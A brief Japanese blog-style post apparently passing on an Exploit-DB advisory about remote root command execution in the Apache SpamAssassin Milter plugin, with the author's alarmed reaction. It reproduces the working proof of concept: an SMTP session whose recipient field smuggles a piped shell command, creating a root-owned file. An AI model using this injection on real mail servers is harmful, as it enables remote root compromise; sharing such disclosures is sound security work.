http://www.exploit-db.com/exploits/11662(情報元のブックマーク数)

SpamassassinのMilterプラグインにリモートからrootコマンドを実行できるPoCが出ています。

# Title: Apache Spamassassin Milter Plugin Remote Root Command Execution
# EDB-ID: 11662
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Kingcope
# Published: 2010-03-09
# Verified: yes
# Download Exploit Code
# Download N/A

http://url4.eu/1k9Xm

ちょっ!!!!これヒドイぞ!

$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: me@me.com
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
250 2.1.5 Ok

$ ls -la /tmp/foo
-rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo

screenshot